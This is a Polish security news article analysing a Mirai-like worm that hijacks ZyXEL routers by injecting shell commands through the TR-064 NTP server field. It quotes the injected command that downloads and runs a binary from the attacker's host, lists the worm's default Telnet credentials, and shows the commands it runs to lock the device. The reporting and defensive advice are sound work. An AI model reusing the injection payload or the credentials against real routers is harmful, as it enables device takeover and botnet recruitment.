Bot podobny do Mirai atakuje rutery nowym błędem – także w Polsce

dodał 28 listopada 2016 o 07:33 w kategorii Złośniki  z tagami:
Bot podobny do Mirai atakuje rutery nowym błędem – także w Polsce

Botnety zbudowane w oparciu o Internet Rzeczy stają się coraz bardziej popularne i wykorzystują każdą nadarzającą się okazję do przejęcia kolejnych pudełek. Jeden z nich zaatakował wczoraj nowym błędem router naszego Czytelnika.

Otrzymaliśmy wczoraj wiadomość od jednego z naszych Czytelników, którego router padł ofiarą ataku. Czytelnik, zaniepokojony dziwnymi restartami urządzenia dostępowego, po szybkiej analizie jego konfiguracji zauważył że w polu adresu serwera NTP tego routera znalazł się dziwny wpis:

cd /tmp;wget http://l.ocalhost.host/2;chmod 777 2;./2

Wpis oczywiście bardzo mocno sugeruje, że zawartość pola adresu serwera NTP umożliwia wykonanie poleceń powłoki. Zacznijmy jednak od początku, ponieważ do skutecznego ataku potrzebne były dwa błędy.

Protokół TR-064

Modemy, które otrzymujemy od naszych dostawców usług internetowych, muszą być przez nich jakoś zarządzane. W tym celu powstał zestaw protokołów, które umożliwiają kontrolę nad modemem czy też routerem. Protokoły i porty im odpowiadające powinny być dostępne tylko ze specjalnie przygotowanej do tego celu sieci służącej do zarządzania. Dzięki temu nikt poza naszym ISP nie jest w stanie wydawać poleceń naszemu modemowi, a dostawca internetu wciąż utrzymuje nad nimi pewną kontrolę konieczną do rozwiązania pojawiających się problemów, czy też w celu łatwej zmiany parametrów połączenia w przypadku aktualizacji infrastruktury. Jednym z takich protokołów jest TR-064, zwany też LAN-Side DSL CPE Configuration, czyli konfiguracja urządzenia klienckiego DSL po stronie sieci wewnętrznej. Dla tych z was, którzy nie muszą na co dzień posługiwać się setką skrótów stosowanych przez dostawców internetowych tłumaczymy, że CPE (customer-premises equipment) to po prostu urządzenie, które znajduje się u klienta, a DSL (digital subscriber line) to po prostu cyberlinia abonencka. Specyfikacja TR-064 jest dostępna do pobrania i znajduje się pod tym linkiem.

Czasami zdarza się, że dostawca internetu bądź producent modemu zapomni ograniczyć dostęp do serwera TR-064. Oznacza to, że każdy internauta może wysłać polecenia konfiguracyjne do naszego urządzenia i zmienić nam ustawienia, chociażby serwera DNS lub NTP. Oczywiście może to spowodować dosyć znaczne problemy – zmiana serwera DNS może spowodować, że wchodząc na stronę bankowości elektronicznej tak naprawdę znajdziemy się na stronie kontrolowanej przez przestępców. Możliwość zmiany serwera NTP nie wydaje się specjalnie poważna, chyba, że ktoś chciałby, żebyśmy nasz modem się spóźnił na ważne spotkanie. Inaczej jednak jest w przypadku sprzętu firmy ZyXEL. Niektóre modele, jak na przykład dostarczany przez irlandzkiego ISP D100, oprócz nieograniczonego dostępu do serwera TR-064 pozwalają także na wykonanie komendy na modemie przez podanie jej jako adresu serwera NTP. Świadczy to nie tylko o błędzie programistycznym polegającym na braku odpowiedniego sprawdzenia adresu serwera NTP. Adres ten, nawet jeśli się zakłada że jest podawany przez dostawcę usług internetowych, któremu z założenia ufamy, powinien przejść bardzo podstawowe testy stwierdzające chociażby czy nie ma w nim spacji. Tak się jednak nie dzieje w tym przypadku. W konsekwencji, cokolwiek zostanie wprowadzone do pola adresu serwera NTP zostanie również wykonane w linii poleceń. Potwierdziliśmy, że nasz czytelnik korzystał z urządzenia firmy ZyXEL i miał podatną wersję firmware.

Niestandardowe wykorzystanie protokołu TR-064 do wykonania komendy na sprzęcie ZyXEL zostało opisane na początku listopada i niedługo później pojawił się odpowiedni moduł do Metasploita, który pozwalał nawet niezbyt biegłym użytkownikom internetu wykorzystać tę podatność. Jeden z atakujących zamienił go w zwykłego sieciowego robaka.

Jak wygląda atak?

Protokół TR-064 jest oparty o HTTP oraz SOAP (brrr!) i używa, w przypadku analizowanych urządzeń ZyXEL, portu TCP/7547. Oznacza to, że wykorzystanie luki sprowadza się do wysłania odpowiedniego żądania POST na ten port. Atakujący przygotował trzy różne pliki binarne (nazwane przemyślnie 1, 2 oraz 3), które są pobrane i uruchamiane z wykorzystaniem tej podatności. Jak widać są one przygotowane pod trzy różne architektury:

1: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
2: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
3: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped

Cyberlaboratorium Zaufanej Trzeciej Strony podjęło się analizy wersji na systemy ARM. To złośliwe oprogramowanie jest robakiem sieciowym, który po infekcji zaczyna się rozprzestrzeniać na inne urządzenia, znowu wykorzystując podatność w modemie oraz protokół TR-064. Jest też zaimplementowana inna metoda infekcji. Polega ona na logowaniu się za pomocą protokołu Telnet na urządzenia z wykorzystaniem trzech różnych par nazwy użytkownika oraz hasła:

root     xc3511
root     vizxv
root     admin

Wszystkie te pary są zaciemnione (bądź też „zaszyfrowane”) w kodzie robaka za pomocą dokładnie tego samego algorytmu, który znajduje się w popularnym botnecie Mirai. Co więcej, serwer zarządzający botnetem (C&C) znajduje się pod adresem timeserver.host, który to adres znajduje się na liście Mirai tracker. Dodatkowo, robak skanuje adresy IP w tej samej pseudolosowej kolejności w jakiej robi to Mirai. W obu rodzajach złośliwego oprogramowania odpowiada za to ten sam kod. Kod źródłowy botnetu Mirai jest od pewnego czasu dostępny na serwisie GitHub, można zatem domniemać, że autor sobie „pożyczył” jego część i połączył z opublikowaną podatnością, aby uzyskać podobny do Mirai efekt.

Analizowane złośliwe oprogramowanie jest bardzo kulturalne, ponieważ zamyka po sobie drzwi. Oznacza to, że wykonuje następujące komendy, które, przynajmniej do czasu restartu bądź przywrócenia urządzenia do ustawień fabrycznych, powinny załatać wspomnianą podatność oraz „zabezpieczyć” protokół Telnet:

busybox iptables -A INPUT -p tcp --destination-port 7547 -j DROP
busybox killall -9 telnetd

Pierwsze polecenie po prostu odcina dostęp do portu TCP/7547 dla wszystkich (włączając dostawcę usług internetowych), a drugie zakańcza wszystkie uruchomione procesy serwera protokołu telnet. Mimo, że to „załatanie” jest dosyć agresywne, z pewnością jest skuteczne i uniemożliwi konkurentom przejęcie kontroli nad urządzeniem. Oczywiście, uniemożliwia to także zdalne usunięcie infekcji przez dostawcę usług.

Skala problemu w Polsce

Shodan twierdzi, że urządzeń z otwartym portem 7547 i usługą  RomPager widział w Polsce ponad 65 tysięcy. Wartość ta może być znacznie zawyżona (dynamiczna adresacja, stare wyniki itp.), jednak nadal jest dosyć spora. Nie oznacza to, że wszystkie te urządzenia są podatne na powyżej opisany atak. Aby skutecznie zaatakować routery, wymagane jest występowania dwóch błędów naraz – dostępności protokołu TR-064 oraz drugiego błędu, który umożliwi wykonanie kodu. Warto pamiętać, że nie za wszystkie przypadki podatności odpowiadają dostawcy internetu – wielu użytkowników kupuje swoje własne routery i zapomina o aktualizowaniu ich oprogramowania.

rompager

Warto zauważyć, że zmiana opublikowanej podatności w dosyć skutecznego robaka sieciowego zajęła cyberprzestępcom tylko trochę ponad dwa tygodnie. Jest to dosyć szybkie i niepokojące zachowanie. Aby ustrzec się przed podobnymi atakami zalecamy aktualizację oprogramowania modemu, ponieważ istnieje dużo nowsza wersja, którą można zainstalować, jak i sprawdzenie czy port TCP/7547 (bądź inne dziwne porty) jest dostępny z zewnątrz. W przypadku gdy modem został nam dostarczony przed dostawcę internetu zalecamy kontakt z infolinią tak uporczywy, aż w końcu modem zostanie zaktualizowany bądź wymieniony.

Dla zainteresowanych przeprowadzeniem własnej analizy podajemy skróty sha256 próbek:

5fc86972492cd901ea89bd86fbdebd307c3f1d2afa50db955a9594da000d0b38 1
8537f9de4ea6662c22b631c90d647b79e448026327e572b90ec4d1a9f2aa2a50 2
ace9c1fe40f308a2871114da0d0d2f46965add1bda9c4bad62de5320b77e8a73 3